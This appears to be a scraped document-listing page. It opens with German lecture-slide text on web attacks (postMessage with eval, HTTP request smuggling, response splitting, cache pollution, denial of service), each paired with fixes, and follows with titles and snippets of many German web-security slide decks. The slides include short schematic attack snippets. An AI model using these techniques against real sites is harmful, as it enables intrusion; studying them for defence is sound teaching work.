41 cryptografische Checksum für url Parameter url Parameter verschlüsselt open URL Proxy Inhalt durchleiten Same Origin Policy von good bleibt Seiten aus 'bad' haben Zugriff auf Cookies aus good window.postmessage beteiligte Komponenten: AppFrame, OtherFrame HTML5 Kommunikation zwischen beliebigen Frames window.addeventlistener("message", recv, false); function recv(event e) { eval(data) } Attack: other.postmessage('...bad code...',target) Fix: URL e.originals erlaubt verifizieren Verifizieren Daten, wenn aus fremdem Origin außerdem: target auf URL setzen, die man in other erwartet, statt '*' HTTP Request Smuggling I beteiligte Komponenten: Client, Proxy, Server Client: GET url\r\n warten auf Response Attacke: url=http://..\r\n\r\nget... und dann noch einem normalen Request Rq2 hinterher aus einem Request mach zwei, auch mit Custom Headern oder Payload (widersprüchliche Content length) funktioniert(e) mit XMLHTTPRequest, Flash, Java(?)... Resultat: Proxy sieht 3 Requests und liefert 3 Antworten Client ordnet zweite Antwort dem Request Rq2 zu local Cache Pollution mit Proxy Cascade Proxy Cache Pollution möglich durch ambivalente Daten Analyse Vektor:
42 mangelnde Checks in Requests von Browser/Plugins Ambivalenzen im Standard "best Effort" mit kaputten Servern in Browsern und Proxies Fixes: fix Browser/Plugins Ambivalenzen beseitigen in Interpretation "best Security" statt "best Effort" in Middleware, Normalisierung HTTP Response Splitting GET GET attack.com liefert ambivalente Response (z.b. widersprüchliche Content length) Resultat: Proxy sieht zwei Requests und drei Antworten von Upstream Proxy zweite Antwort wird zweitem Request zugeordnet Cache Pollution Vektor/Fixes: analog HTTP Request Smuggling Server DOS viele verschiedene Clients (Slashdot Effekt, Low Orbit Ion Cannon...) via Botnet, Wurm, Social... TLS (Re)negotiation Hash Complexity DOS Domain entführen... korrupte/fehlfunktionierende Daten Audio/Video Codecs ungewöhnliche Bildformate riesige Bilder Popup Stürme Memory Exhaustion via Javascript... Vergangenheit, Gegenwart, Zukunft Rückblick, Aussichten
43 .next typische Exploits aktuelle Probleme Entwicklungen, Aussichten Bild Architektur Clientseite Clientseite Vergangenheit Clientseite 2002 jeder darf CA sein mit MSIE (2011 bei ios nochmal) 2006 Frame Injection by Name (IE7) 2006 Acrobat Reader Google Mail XSS via Lücke in blogspot Polling Skript 2007 ActiveX Symantec, 2008 ActiveX Word 2008 Cookie Policy vs. localhost.ebay.com vs. local CUPS XSS 2009,2010 Safari execute Javascript in local context via feed:// 2010 Firesheep, 2009 sslstrip 2010 Cross Origin CSS (POF Yahoo Mail)
Web 2.0 (In) Security PHPUG Würzburg 29.06.2006 Björn Schotte
Web 2.0 (In) Security PHPUG Würzburg 29.06.2006 Björn Schotte Web 2.0 (In)Security - Themen Alte Freunde SQL Injections, Code Executions & Co. Cross Site Scripting Cross Site Scripting in der Praxis JavaScript
Einführung in Web-Security
Einführung in Web-Security Alexander»alech«Klink Gulaschprogrammiernacht 2013 Agenda Cross-Site-Scripting (XSS) Authentifizierung und Sessions Cross-Site-Request-Forgery ([XC]SRF) SQL-Injections Autorisierungsprobleme
Abbildung der Gefährdungen der WASC und OWASP auf die Gefährdungen und Maßnahmenempfehlungen des IT-Grundschutz-Bausteins B 5.
Abbildung der Gefährdungen der WASC und OWASP auf die Gefährdungen und Maßnahmenempfehlungen des IT-Grundschutz-Bausteins B 5.21 Die Zusammenstellung der Gefährdungen für den Baustein 5.21 bediente sich
Destructive AJAX. Stefan Proksch Christoph Kirchmayr
Destructive AJAX Stefan Proksch Christoph Kirchmayr AJAX-Einführung Asynchronous JavaScript And XML Clientseitiger JavaScript-Code Asynchrone Kommunikation XML DOM Klassisches Client-Server Modell AJAX-Modell
Baustein Webanwendungen. Stephan Klein, Jan Seebens
Baustein Webanwendungen Stephan Klein, Jan Seebens Agenda Bedrohungslage für Webanwendungen Baustein Webanwendungen 1) Definition und Abgrenzung 2) Goldene Regeln 3) Spezifische Gefährdungen 4) Spezifische
When your browser turns against you Stealing local files
Information Security When your browser turns against you Stealing local files Eine Präsentation von Alexander Inführ whoami Alexander Inführ Information Security FH. St Pölten Internet Explorer Tester
Session Management und Cookies
LMU - LFE Medieninformatik Blockvorlesung Web-Technologien Wintersemester 2005/2006 Session Management und Cookies Max Tafelmayer 1 Motivation HTTP ist ein zustandsloses Protokoll Je Seitenaufruf muss
Sicherheit von Webapplikationen Sichere Web-Anwendungen
Sicherheit von Webapplikationen Sichere Web-Anwendungen Daniel Szameitat Agenda 2 Web Technologien l HTTP(Hypertext Transfer Protocol): zustandsloses Protokoll über TCP auf Port 80 HTTPS Verschlüsselt
Advanced Web Hacking. Matthias Luft Security Research mluft@ernw.de
Advanced Web Hacking Matthias Luft Security Research mluft@ernw.de ERNW GmbH. Breslauer Str. 28. D-69124 Heidelberg. www.ernw.de 6/23/2010 1 ERNW GmbH Sicherheitsdienstleister im Beratungs- und Prüfungsumfeld
Sicherheit in Webanwendungen CrossSite, Session und SQL
Sicherheit in Webanwendungen CrossSite, Session und SQL Angriffstechniken und Abwehrmaßnahmen Mario Klump Die Cross-Site -Familie Die Cross-Site-Arten Cross-Site-Scripting (CSS/XSS) Cross-Site-Request-Forgery
Zusammenfassung Web-Security-Check ZIELSYSTEM
Zusammenfassung Web-Security-Check ZIELSYSTEM für KUNDE (nachfolgend Auftraggeber genannt) von secudor GmbH Werner-von-Siemensstraße 6 Gebäude 9 86159 Augsburg (nachfolgend Auftragnehmer genannt) Inhalt
Carsten Eilers. Ajax Security. Sichere Web-2.0-Anwendungen. ntwickier
Carsten Eilers Ajax Security Sichere Web-2.0-Anwendungen ntwickier Ajax, aber sicher! Geschichte Der Aufbau des Buchs Danksagung und Widmung Der Autor Ajax - Grundlagen Vom Web 1.0 zum Web 2.0 XMLHttp
Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen
FAEL-Seminar Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen Prof. Dr. Marc Rennhard Institut für angewandte Informationstechnologie InIT ZHAW Zürcher Hochschule für Angewandte
Secure Programming vs. Secure Development
Secure Programming vs. Secure Development Niklaus Schild Senior Consultant Niklaus.schild@trivadis.com Zürich, 10.Juni 2010 Basel Baden Bern Lausanne Zürich Düsseldorf Frankfurt/M. Freiburg i. Br. Hamburg
PHP-(Un-)Sicherheit. Hacker-Seminar Herbstsemester 2006 Laboratory for Dependable Distributed Systems Universität Mannheim.
Hacker-Seminar Herbstsemester 2006 Laboratory for Dependable Distributed Systems Universität Mannheim Tim Weber 9. November 2006 Übersicht 1. Die Sprache PHP 2. Sicherheitslücken und Angriffsszenarien
Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen
Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen Dr. Marc Rennhard Institut für angewandte Informationstechnologie Zürcher Hochschule Winterthur marc.rennhard@zhwin.ch Angriffspunkt
Paper: Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications
Paper: Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications Referat von Georg Räß und Kevin Virmani Paper geschrieben von Marco Balduzzi,Carmen Torrano Gimenez,Davide Balzarotti
Schwachstellenanalyse 2013
Schwachstellenanalyse 2013 Sicherheitslücken und Schwachstellen in Onlineshops Andre C. Faßbender Schwachstellenforschung Faßbender 09.01.2014 Inhaltsverzeichnis 1. Abstract... 3 2. Konfiguration der getesteten
am Beispiel - SQL Injection
am Beispiel - SQL Injection Einführung } Warum ist Sicherheit ein Software Thema? } Sicherheit in heutigen Softwareprodukten & Trends } OWASP Top 10 Kategorien Hacking Demo } SQL Injection: der Weg zu
Web Hacking - Angriffe und Abwehr
Web Hacking - Angriffe und Abwehr UNIX-Stammtisch 31. Januar 2012 Frank Richter Holger Trapp Technische Universität Chemnitz Universitätsrechenzentrum Motivation (1): Für uns Lehrveranstaltung: Techniken
XSS for fun and profit
5. Chemnitzer Linux-Tag 1.-2.- März 2003 XSS for fun and profit Theorie und Praxis von Cross Site Scripting (XSS) Sicherheitslücken, Diebstahl von Cookies, Ausführen von Scripten auf fremden Webservern,
Headers, Websockets + More: Webserver und Webapp-Sicherheit im Jahre 2014
Headers, Websockets + More: Webserver und Webapp-Sicherheit im Jahre 2014 Markus Manzke SLAC 2014 / Berlin 13.03.2014 "If you spend more on coffee than on IT security, then you will be hacked." -- Richard
am Beispiel - SQL Injection
am Beispiel - SQL Injection Einführung Warum ist Sicherheit ein Software Thema? Sicherheit in heutigen Softwareprodukten & Trends OWASP Top 10 Kategorien Hacking Demo SQL Injection: der Weg zu den Daten
Web-Sicherheit: Kein fauler Zauber?! Kai Jendrian.
Web-Sicherheit: Kein fauler Zauber?! Security Consulting GmbH, Karlsruhe Seite 1 Security Consulting GmbH, Karlsruhe Seite 2 Security Consulting GmbH, Karlsruhe Seite 3 Security
Aktuelle Sicherheitsprobleme im Internet
Herbst 2014 Aktuelle Sicherheitsprobleme im Internet Wirtschaftsinformatik: 5. Semester Dozenten: Rainer Telesko / Martin Hüsler Fachhochschule Nordwestschweiz FHNW / Rainer Telesko - Martin Hüsler 1 Inhalt
itsc Admin-Tag OWASP Top 10 Tobias Ellenberger COO & Co-Partner OneConsult GmbH 2013 OneConsult GmbH www.oneconsult.com
itsc Admin-Tag OWASP Top 10 Tobias Ellenberger COO & Co-Partner OneConsult GmbH 13.03.2013 Agenda Vorstellung Open Web Application Security Project (OWASP) Die OWASP Top 10 (2013 RC1) OWASP Top 3 in der
Schwachstellen in Web- Applikationen: Was steckt dahinter und wie nutzt man sie aus?
Schwachstellen in Web- Applikationen: Was steckt dahinter und wie nutzt man sie aus? Prof. Dr. Marc Rennhard Institut für angewandte Informationstechnologie InIT ZHAW Zürcher Hochschule für Angewandte
Aktuelle Bedrohungen im Internet
Aktuelle Bedrohungen im Internet Max Klaus, MELANI Bedrohungen von Webanwendungen Reto Inversini, BIT Botnetze webreaders.de/wp-content/uploads/2008/01/botnetz.jpg ISB / NDB Melde- und Analysestelle Informationssicherung
OWASP Top 10. im Kontext von Magento. Mittwoch, 21. November 12
OWASP Top 10 im Kontext von Magento 1 Ich Fabian Blechschmidt (@Fabian_ikono) blechschmidt@fabianblechschmidt.de PHP seit 2004 Freelancer seit 2008 Magento seit 2011 Certified Magento Developer spielt
Web Application Security und der Einsatz von Web Application Firewalls
Web Application Security und der Einsatz von Web Application Firewalls Philipp Etschel, BSc opennetworks.at fhstp.ac.at 2 Agenda: Warum überhaupt eine WAF einsetzen? Funktionsweise einer WAF Welche Web-
Gefahr durch Cookies. Antonio Kulhanek. Security Consultant Dipl. Techniker HF, Kommunikationstechnik MCSE, ITIL Foundation kulhanek@gosecurity.
Gefahr durch Cookies Antonio Kulhanek Security Consultant Dipl. Techniker HF, Kommunikationstechnik MCSE, ITIL Foundation kulhanek@gosecurity.ch Rechtliche Hinweise Art. 143 StGB Unbefugte Datenbeschaffung
Schwachstellenanalyse 2012
Schwachstellenanalyse 2012 Sicherheitslücken und Schwachstellen in Onlineshops Andre C. Faßbender Schwachstellenforschung Faßbender 13.01.2012 Inhaltsverzeichnis 1. Abstract... 3 2. Konfiguration der getesteten
Netzwerksicherheit Übung 9 Websicherheit
Netzwerksicherheit Übung 9 Websicherheit David Eckhoff, Tobias Limmer, Christoph Sommer Computer Networks and Communication Systems Dept. of Computer Science, University of Erlangen-Nuremberg, Germany
Hacker-Methoden in der IT- Sicherheitsausbildung. Dr. Martin Mink
Hacker-Methoden in der IT- Sicherheitsausbildung Dr. Martin Mink Hacker-Angriffe 3.11.2010 Hacker-Methoden in der IT-Sicherheitsausbildung Dr. Martin Mink 2 Typische Angriffe auf Web- Anwendungen SQL Injection
Aktuelle Angriffstechniken auf Web-Applikationen. Andreas Kurtz cirosec GmbH, Heilbronn
Aktuelle Angriffstechniken auf Web-Applikationen Andreas Kurtz cirosec GmbH, Heilbronn Gliederung Schwachstellen-Überblick Präsentation aktueller Angriffstechniken XPath-Injection Cross-Site Request Forgery
Datensicherheit. Vorlesung 4: 14.12.2015. Sommersemester 2015 h_da. Heiko Weber, Lehrbeauftragter
Vorlesung 4: Sommersemester 2015 h_da, Lehrbeauftragter Teil 2: Themenübersicht der Vorlesung 1. Einführung / Grundlagen der / Authentifizierung 2. Kryptografie / Verschlüsselung und Signaturen mit PGP
SZENARIO. ausgeführt Command Injection: Einschleusen (Injizieren) bösartiger Befehle zur Kompromittierung der Funktionsschicht
SZENARIO Folgenden grundlegende Gefahren ist ein Webauftritt ständig ausgesetzt: SQL Injection: fremde SQL Statements werden in die Opferapplikation eingeschleust und von dieser ausgeführt Command Injection:
Grundlagen der Web-Sicherheit
Grundlagen der Web-Sicherheit Das Labor e.v. 29.05.2008 Johannes Dahse, Felix Gröbert johannesdahse@gmx.de, felix@groebert.org creativecommons.org/licenses/by-nc-nd/2.0/de pwn pwn pwn...!"#$%&'($)*+,-&../%
V10 I, Teil 2: Web Application Security
IT-Risk-Management V10 I, Teil : Web Application Security Tim Wambach, Universität Koblenz-Landau Koblenz, 9.7.015 Agenda Einleitung HTTP OWASP Security Testing Beispiele für WebApp-Verwundbarkeiten Command
Konzept eines Datenbankprototypen. 30.06.2003 Folie 1 Daniel Gander / Gerhard Schrotter
Konzept eines Datenbankprototypen 30.06.2003 Folie 1 Daniel Gander / Gerhard Schrotter Inhalt (1) Projektvorstellung & Projektzeitplan Softwarekomponenten Detailierte Beschreibung der System Bausteine
Absicherung von Web-Anwendungen in der Praxis Highlights aus den OWASP TOP 10
The OWASP Foundation http://www.owasp.org Absicherung von Web-Anwendungen in der Praxis Highlights aus den OWASP TOP 10 Tobias Glemser tobias.glemser@owasp.org tglemser@tele-consulting.com Ralf Reinhardt
OWASP Stammtisch München Sep 2014 XSS und andere Sicherheitslücken aus der Perspektive des Programmcodes
OWASP Stammtisch München Sep 2014 XSS und andere Sicherheitslücken aus der Perspektive des Programmcodes 1 XSS: Cross-Site Scripting 1.) Es gelangen Daten in den Web-Browser, die Steuerungsinformationen
Datensicherheit. Vorlesung 7: 29.5.2015. Sommersemester 2015 h_da. Heiko Weber, Lehrbeauftragter
Datensicherheit Vorlesung 7: 29.5.2015 Sommersemester 2015 h_da Heiko Weber, Lehrbeauftragter Inhalt 1. Einführung & Grundlagen der Datensicherheit 2. Identitäten / Authentifizierung / Passwörter 3. Kryptografie
Webapplikationen wirklich sicher?! 10. Mai 2006 IT-TRENDS Sicherheit Zentrum für IT-Sicherheit, Bochum
Webapplikationen wirklich sicher? 10. Mai 2006 IT-TRENDS Sicherheit Zentrum für IT-Sicherheit, Bochum Die wachsende Bedrohung durch Web-Angriffen Test, durchgeführt von PSINet und Pansec 2 "dummy" Web-Sites
14.05.2013. losgeht s
losgeht s 1 Agenda erläutern 2 Warum jetzt zuhören? 3 BSI-Quartalsbericht 4/2010 Die gefährlichsten Schwachstellen in Webauftritten Häufig wurden SQL-Injection(Weiterleitung von SQL-Befehlen an die Datenbank
Typo3 - Schutz und Sicherheit - 07.11.07
Typo3 - Schutz und Sicherheit - 07.11.07 1 Angriffe auf Web-Anwendungen wie CMS oder Shop- Systeme durch zum Beispiel SQL Injection haben sich in den letzten Monaten zu einem Kernthema im Bereich IT- Sicherheit
Ruby on Rails Sicherheit. Heiko Webers 42@rorsecurity.info
Ruby on Rails Sicherheit Heiko Webers 42@rorsecurity.info Heiko Webers Ruby On Rails Security Project: www.rorsecurity.info E-Book Ruby On Rails Security Ruby On Rails Security Audits Webanwendungen Trends
Welche Gefahren gehen vom Firmenauftritt im Internet aus?
Die Webseite als Eintrittspunkt Welche Gefahren gehen vom Firmenauftritt im Internet aus? Bekannt gewordene Schwachstellen & Angriffe Bekannt gewordene Schwachstellen & Angriffe Quelle: http://www.vulnerability-db.com/dev/index.php/2014/02/06/german-telekom-bug-bounty-3x-remote-vulnerabilities/
Sicherheit Web basierter Anwendungen
Sicherheit Web basierter Anwendungen IT Sicherheit Dozent: Prof. Dr. Stefan Karsch Enriko Podehl 13.02.2008 Einleitung it Web basierte basierte Anwendungen Teil unseres Alltags Geben dabei persönliche
Unix Friends and User Campus Kamp Aktuelle Angriffstechniken auf Web-Applikationen
Unix Friends and User Campus Kamp Aktuelle Angriffstechniken auf Web-Applikationen Steffen Tröscher cirosec GmbH, Heilbronn Steffen Tröscher Dipl.-Informatiker (FH) IT-Sicherheitsberater Tätigkeitsschwerpunkte:
Web Application {Security, Firewall}
Web Application {Security, Firewall} Mirko Dziadzka mirko.dziadzka@gmail.com http://mirko.dziadzka.de 18.1.2011 / IEEE SB Passau Alle Abbildungen aus http://www.heise.de/newsticker/archiv/ Inhalt Kurze
Spurenarm surfen. Kire. Swiss Privacy Foundation www.privacyfoundation.ch
Spurenarm surfen Kire Swiss Privacy Foundation www.privacyfoundation.ch Swiss Privacy Foundation Der gemeinnützige Verein Swiss Privacy Foundation setzt sich für den Schutz der digitalen Privatsphäre,
Carsten Eilers / www.ceilers-it.de. Client Security im Web 2.0 und mit HTML5
Carsten Eilers / www.ceilers-it.de Client Security im Web 2.0 und mit HTML5 Vorstellung Berater für IT-Sicherheit Web Security (Pentests, Beratung,...)... Autor PHP Magazin, Entwickler Magazin Blog: www.ceilers-news.de...
Secure Coding & Live Hacking von Webapplikationen. Conect Informunity 8.3.2011
Secure Coding & Live Hacking von Webapplikationen Conect Informunity 8.3.2011 Dr. Ulrich Bayer Security Research Sicherheitsforschung GmbH Motivation Datendiebstahl über (Web)-Applikationen passiert täglich
Agenda. Ingo Ebel (ie007) Benjamin Müller (bm032) Was ist AJAX? Sicherheit Vor- und Nachteile. AJAX Frameworks. Wozu benötigt Client/Server
AJAX Agenda Ingo Ebel (ie007) Was ist AJAX? Wozu benötigt Client/Server Sicherheit Vor- und Nachteile Benjamin Müller (bm032) AJAX Frameworks GWT ATF Ingo Ebel - ie007 2 Web 2.0 Ingo Ebel - ie007 3 Ingo
XPages Good to know. Benjamin Stein & Pierre Hein Stuttgart 7. Mai 2015
XPages Good to know Benjamin Stein & Pierre Hein Stuttgart 7. Mai 2015 Agenda 1. Einführung Was sind XPages? 2. Allgemeine Tipps Allgemeine Tipps für die Verwendung von XPages 3. Designer Tipps Tipps für
Web 2.0 und Security MySQL Webinar 30.01.2007 Johann-Peter Hartmann
MySQL Webinar 30.01.2007 Johann-Peter Hartmann Agenda Ajax und XSS Bedeutung und Verbreitung von XSS Was sind JavaScript Injections? Warum Web 2.0 und XSS besonders schmerzt Ajax Security Xml HTTP Request,
Hacking. InfoPoint 07.12.2005. Jörg Wüthrich
Hacking InfoPoint 07.12.2005 Jörg Wüthrich Inhalte Rund um das Thema Hacking Angriffs-Techniken Session Handling Cross Site Scripting (XSS) SQL-Injection Buffer Overflow 07.12.2005 Infopoint - Hacking
Inhaltsverzeichnis. Open-Xchange Authentication & Sessionhandling
Open-Xchange Authentication & Sessionhandling Version Date Author Changes 1.0 28.08.2006 Stephan Martin Initiale Version 1.1 29.08.2006 Marcus Klein Details Authentication via JSON 1.2 04.09.2006 Stephan
XML, JSON. Und weitere Kuriositäten. Mario Heiderich
XML, JSON Und weitere Kuriositäten Mario Heiderich Überblick XML und Webapplikationen XML im Internet Explorer Data Islands, HTC Probleme Namespaces, Event Handling XUL, Die E4X Katastrophe Feeds und Security
Was eine WAF (nicht) kann. Mirko Dziadzka OWASP Stammtisch München 24.11.2009
Was eine WAF (nicht) kann Mirko Dziadzka OWASP Stammtisch München 24.11.2009 Inhalt Meine (subjektive) Meinung was eine WAF können sollte und was nicht Offen für andere Meinungen und Diskussion Disclaimer:
Ein Webinar von Mario Heiderich antwerpes ag Köln, 18-01-2011 HTML5. Seifenblasen - aber Bulletproof
Ein Webinar von Mario Heiderich antwerpes ag Köln, 18-01-2011 HTML5 Seifenblasen - aber Bulletproof Bitte wer und was? Mario Heiderich Forscher für Ruhr-Universität Bochum Microsoft IE Security Team in
Was eine WAF (nicht) kann. Ausgabe 2013
Was eine WAF (nicht) kann. Ausgabe 2013 Mirko Dziadzka http://mirko.dziadzka.de/ @MirkoDziadzka OWASP Stammtisch München - 19.11.2013 1 / 27 Inhalt Worum soll es heute gehen Meine (subjektive) Meinung
Open for Business - Open to Attack? Walter Lender, Geschäftsführer, Visonys IT-Security Software GesmbH
Open for Business - Open to Attack? Walter Lender, Geschäftsführer, Visonys IT-Security Software GesmbH 2 Open for Business - Open to Attack? 75% aller Angriffe zielen auf Webanwendungen (Gartner, ISS)
Browser-(Un)Sicherheit Ein buntes Programm
Sven Türpe Browser-(Un)Sicherheit Ein buntes Programm Rheinlandtreffen 2009 http://testlab.sit.fraunhofer.de Tolle Sachen: Sicherheit als Klassifikationsproblem What is the shape of your security policy?
Firewalls mit perl. Steffen Ullrich GeNUA mbh
Firewalls mit perl Steffen Ullrich GeNUA mbh Wer ist GeNUA? Hersteller von Security Appliances: Hochsicherheitsfirewall GeNUGate GeNUBox, GeNULink, GeNUScreen, GeNUCrypt... Sicherheitsmanagment und Systemwartung
2. Interaktive Web Seiten. action in Formularen. Formular. Superglobale Variablen $ POST, $ GET und $ REQUEST. GET und POST
2. Interaktive Web Seiten GET und POST Die Übertragungsmethoden GET und POST sind im http Protokoll definiert: POST: gibt an, dass sich weitere Daten im Körper der übertragenen Nachricht befinden: z.b.
TimeMachine. Time CGI. Version 1.5. Stand 04.12.2013. Dokument: time.odt. Berger EDV Service Tulbeckstr. 33 80339 München
Time CGI Version 1.5 Stand 04.12.2013 TimeMachine Dokument: time.odt Berger EDV Service Tulbeckstr. 33 80339 München Fon +49 89 13945642 Mail rb@bergertime.de Versionsangaben Autor Version Datum Kommentar
Sicherheit in Rich Internet Applications
Sicherheit in Rich Internet Applications Florian Kelbert 14.02.2008 Seite 2 Sicherheit in Rich Internet Applications Florian Kelbert 14.02.2008 Inhaltsverzeichnis Grundlagen Ajax und Mashups Adobe Flash-Player
Ablauf Unit2. Walkthrough
Ablauf Unit2 Vertiefendes Uebungsprojekt - SQL II Gerhard Wohlgenannt Test Vorstellung der Arbeitsumgebung (Software, Locations) Walkthrough Gruppeneinteilung + Themenvergabe Vorstellung der Arbeitsumgebung
Inhaltsverzeichnis. Einleitung... 11
Einleitung................................................. 11 1 Sicherheit im Kontext von PHP und Webanwendungen........... 17 1.1 Historie: PHP............................................. 17 1.2 PHP
Aktuelle Angriffstechniken. Steffen Tröscher cirosec GmbH, Heilbronn
Aktuelle Angriffstechniken Steffen Tröscher cirosec GmbH, Heilbronn Gliederung Angriffe auf Webanwendungen Theorie und Live Demonstrationen Schwachstellen Command Injection über File Inclusion Logische
Ablauf. Wichtige Termine. Vertiefendes Übungsprojekt - SQL II
Ablauf Wichtige Termine Ablauf der Lehrveranstaltung Vorstellung des Projektthemas Projektgruppen Vorstellung der Arbeitsumgebung (Software, Locations) Walkthrough Datenbankentwurf Formulare PHP Security
Tobias Wassermann. Sichere Webanwendungen mit PHP
Tobias Wassermann Sichere Webanwendungen mit PHP Inhaltsverzeichnis Einleitung 11 i Sicherheit im Kontext von PHP und Webanwendungen 17 I.I Historie: PHP 17 i.2 PHP heute 19 1.3 PHP und Apache 20 1.4 PHP
Designprinzipien sicherer Systeme
Designprinzipien sicherer Systeme Defense in Depth, Least Privilege, Design for Evil, Attack Surface Reduction, Security through Diversity, Dr. Peer Wichmann IT-Sicherheitsbeauftragter WIBU-SYSTEMS AG
1 von 6 02.01.2011 11:44
Statistik für sggelterkinden.ch () - main 1 von 6 02.01.2011 11:44 Zuletzt aktualisiert: 02.01.2011-08:00 Zeitraum: OK Zusammenfassung Zeitraum Jahr Erster Zugriff 14.07. - 20:02 Letzter Zugriff 31.12.
Wie steht es um die Sicherheit in Software?
Wie steht es um die Sicherheit in Software? Einführung Sicherheit in heutigen Softwareprodukten Typische Fehler in Software Übersicht OWASP Top 10 Kategorien Praktischer Teil Hacking Demo Einblick in die
Hacker-Tool Browser von der Webanwendung zu den Kronjuwelen
Hacker-Tool Browser von der Webanwendung zu den Kronjuwelen Ralf Reinhardt 28.11.2013, 16:40 Uhr Roadshow Sicheres Internet aiti-park Werner-von-Siemens-Str. 6 86159 Augsburg 1 Hacker-Tool Browser Über
Dirk Wetter. Dirk Wetter. Kleine, feine Helferlein: HTTP Header und Security. Kleine, feine Helferlein: HTTP Header und Security
Dirk Wetter Dirk Wetter Kleine, feine Helferlein: Kleine, feine Helferlein: HTTP Header und Security HTTP Header und Security Folien Lizenz: About Me Einzelunternehmer Beratung Web /Sicherheit (http://drwetter.eu/neu/)
Web Application Security mit phion airlock. Walter Egger Senior Sales Web Application Security
mit phion airlock Walter Egger Senior Sales phion AG 2009 history and background of airlock Entwicklungsbeginn im Jahr 1996 Im Rahmen einer der ersten e-banking Applikation (Credit Swisse) Übernahme der
Secure Webcoding for Beginners
Secure Webcoding for Beginners $awareness++ Florian Brunner Florian Preinstorfer 09.06.2010 Hacking Night 2010 Vorstellung Florian Brunner Software Engineer CTF-Team h4ck!nb3rg Student sib08 Florian Preinstorfer
Inhalt. 1 Sicherheit in einer Welt der Webanwendungen 1. Teil I: Anatomie des Web. 2 Am Anfang war die URL 29
ix 1 Sicherheit in einer Welt der Webanwendungen 1 1.1 Informationssicherheit kurz und bündig....................... 1 1.1.1 Liebäugeln mit formalen Lösungen... 2 1.1.2 Risikomanagement und IT-Sicherheit..................
Proseminar: Website-Management-Systeme
Proseminar: Website-Management-Systeme Thema: Web: Apache/Roxen von Oliver Roeschke email: o_roesch@informatik.uni-kl.de Gliederung: 1.) kurze Einleitung 2.) Begriffsklärung 3.) Was ist ein Web? 4.) das
Audit von Authentifizierungsverfahren
Audit von Authentifizierungsverfahren Walter Sprenger, Compass Security AG Compass Security AG Glärnischstrasse 7 Postfach 1628 CH-8640 Rapperswil Tel +41 55-214 41 60 Fax +41 55-214 41 61 team@csnc.ch
IT-Sicherheit Angriffsziele und -methoden Teil 2
Karl Martin Kern IT-Sicherheit Angriffsziele und -methoden Teil 2 http://www.xkcd.com/424/ Buffer Overflows 2 Buffer Overflows Ausnutzen unzureichender Eingabevalidierung Begrenzter Speicherbereich wird
IHK: Web-Hacking-Demo
sic[!]sec, Achim Hoffmann IHK: Web-Hacking-Demo, Bayreuth 1. April 2014 1 von 34 IHK: Web-Hacking-Demo Achim Hoffmann Achim.Hoffmann@sicsec.de Bayreuth 1. April 2014 sic[!]sec GmbH spezialisiert auf Web
1 von 6 01.01.2011 09:55
Statistik für sggelterkinden.ch () - main 1 von 6 01.01.2011 09:55 Zuletzt aktualisiert: 01.01.2011-06:52 Zeitraum: OK Zusammenfassung Zeitraum Jahr Erster Zugriff 01.01. - 00:17 Letzter Zugriff 31.12.
http://login-38.hoststar.ch/user/web146/awstats.php?month=05&year=2014&output=...
Statistik für web146 (-05) - main http://login-38.hoststar.ch/user/web146/awstats.php?month=05&year=&output=... Page 1 of 6 10.07. Statistik für: web146 Zuletzt aktualisiert: 10.07. - 20:23 Zeitraum: Mai
Money for Nothing... and Bits4free
Money for Nothing... and Bits4free 8.8.2011 Gilbert Wondracek, gilbert@iseclab.org Hacker & Co Begriff hat je nach Kontext andere Bedeutung, Ursprung: 50er Jahre, MIT Ausnutzen von Funktionalität die vom
HÄRTUNG VON WEB-APPLIKATIONEN MIT OPEN-SOURCE-SOFTWARE. Münchener Open-Source-Treffen, Florian Maier, 23.05.2014
HÄRTUNG VON WEB-APPLIKATIONEN MIT OPEN-SOURCE-SOFTWARE Münchener Open-Source-Treffen, Florian Maier, 23.05.2014 ÜBER MICH 34 Jahre, verheiratet Open Source Enthusiast seit 1997 Beruflich seit 2001 Sicherheit,
suhosin PHP-Patch und PHP-Security Extension Peter Prochaska - http://www.peter-prochaska.de
suhosin PHP-Patch und PHP-Security Extension Peter Prochaska Freiberuflicher Security-Consultant, PHP- Entwickler, Trainer und Autor. PHP-Entwickler seit 1998 Buchautor: PHP-Sicherheit, dpunkt.verlag Mitentwickler
Angreifbarkeit von Webapplikationen
Vortrag über die Risiken und möglichen Sicherheitslücken bei der Entwicklung datenbankgestützter, dynamischer Webseiten Gliederung: Einführung technische Grundlagen Strafbarkeit im Sinne des StGB populäre
Hackerpraktikum SS 202
Hackerpraktikum SS 202 Philipp Schwarte, Lars Fischer Universität Siegen April 17, 2012 Philipp Schwarte, Lars Fischer 1/18 Organisation wöchentliche Übung mit Vorlesungsanteil alle zwei Wochen neue Aufgaben
sslstrip und HSTS Sven Schleier OWASP Stammtisch München, 18. Februar 2014 sslstrip und HSTS sslstrip und HSTS Sven Schleier Der Angriff
sslstrip und sslstrip und sslstrip und -Header - Syntax -Header - Details Preloaded Sites OWASP Stammtisch München, 18. Februar 2014 - sslstrip und Inhaltsverzeichnis sslstrip und -Header - Syntax -Header
HACK THAT WEBSITE! WEB SECURITY IM SELBSTVERSUCH
HACK THAT WEBSITE! WEB SECURITY IM SELBSTVERSUCH Dr. Stefan Schlott, BeOne Stuttgart GmbH ABOUT.TXT Stefan Schlott, BeOne Stuttgart GmbH Java-Entwickler, Scala-Enthusiast, Linux-Jünger Seit jeher begeistert
The Second Generation Onion Router. Stefan Hasenauer, Christof Kauba, Stefan Mayer
The Second Generation Onion Router Übersicht Einleitung Verfahren zur Anonymisierung Allgemeines über Tor Funktionsweise von Tor Hidden Services Mögliche Angriffe 2 Einleitung Identifizierung im Internet
AJAX Security: Alte und neue Risiken bei Web 2.0 Webmontag Köln 22.1.2007 Björn Schotte
: Alte und neue Risiken bei Web 2.0 Webmontag Köln 22.1.2007 Björn Schotte Zur Person GF Mayflower GmbH (35 MA, Webschmiede, Premium-/High-Performance Development) PHP Pionier (1999: phpcenter.de) Internet
RIPS. Automatisierte Schwachstellenerkennung in PHP-Software mittels statischer Quellcode-Analyse. BSI - 12. Deutscher IT-Sicherheitskongress
